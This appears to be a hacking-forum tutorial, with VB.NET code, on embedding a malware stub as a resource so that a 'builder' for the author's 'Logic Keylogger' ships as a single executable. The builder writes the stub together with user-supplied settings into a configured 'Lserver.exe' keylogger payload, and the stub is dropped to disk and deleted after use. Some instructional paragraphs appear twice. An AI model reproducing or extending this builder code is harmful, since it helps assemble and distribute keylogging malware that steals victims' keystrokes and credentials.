OK, write your program as normal, so you have a builder and a stub. Now when distributing, the stub causes no end of confusion. So what we really need is to have it all as one .exe.
So lets take one of my older projects, my very basic, Logic Keylogger.
Now currently the code in the builder looks like:
Now as you can see it is calling the stub from the current directory.
But we don't want the stub, so what we are going to do is drop it from the resources into said directory, then use it, then remove it after.
So go to the project directory. (The one with the "bin", "obj" and "My Project" Folders in) And create a new folder called "My Resources"
Next, open up your stub project, and build it. Then put the stub.exe into the My resources folder of the builder.
Now, on the builder(In the complier) Double click "My Project" And then go to "resources" Navigate to the My Resources folder, and add the stub.exe as a resource.
Now we have done that, we have to drop it at the right time. Just before you use the stub, add this.
And when you have finished, you must delete the stub from the directory. So use this.
So now, the code for the builder with the stub added as a resource would be.
So lets take one of my older projects, my very basic, Logic Keylogger.
Now currently the code in the builder looks like:
Code
Imports System.IO
Public Class Form1
Dim stub, text1, text2 As String
Const FileSplit = "@vorfin@"
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("Lserver.exe") Then
My.Computer.FileSystem.DeleteFile("Lserver.exe")
End If
FileOpen(1, Application.StartupPath & "\Lserver.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
FileClose(1)
End Sub
End ClassNow as you can see it is calling the stub from the current directory.
Code
Application.StartupPath & "\Stub.exe"But we don't want the stub, so what we are going to do is drop it from the resources into said directory, then use it, then remove it after.
So go to the project directory. (The one with the "bin", "obj" and "My Project" Folders in) And create a new folder called "My Resources"
Next, open up your stub project, and build it. Then put the stub.exe into the My resources folder of the builder.
Now, on the builder(In the complier) Double click "My Project" And then go to "resources" Navigate to the My Resources folder, and add the stub.exe as a resource.
Now we have done that, we have to drop it at the right time. Just before you use the stub, add this.
Code
Dim b As Byte() = My.Resources.stub
Dim TheFIlePath As String = Application.StartupPath & "\Stub.exe"
Dim TempFile As System.IO.FileStream = IO.File.Create(TheFIlePath)
TempFile.Write(b, 0, b.Length)
TempFile.Close()And when you have finished, you must delete the stub from the directory. So use this.
Code
System.IO.File.Delete(Application.StartupPath & ("\Stub.exe"))So now, the code for the builder with the stub added as a resource would be.
Code
Imports System.IO
Public Class Form1
Dim stub, text1, text2 As String
Const FileSplit = "@vorfin@"
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
text1 = TextBox1.Text
text2 = TextBox2.Text
Dim b As Byte() = My.Resources.stub
Dim TheFIlePath As String = Application.StartupPath & "\Stub.exe"
Dim TempFile As System.IO.FileStream = IO.File.Create(TheFIlePath)
TempFile.Write(b, 0, b.Length)
TempFile.Close()
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("Lserver.exe") Then
My.Computer.FileSystem.DeleteFile("Lserver.exe")
End If
FileOpen(1, Application.StartupPath & "\Lserver.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
System.IO.File.Delete(Application.StartupPath & ("\Stub.exe"))
FileClose(1)
End Sub
End Class


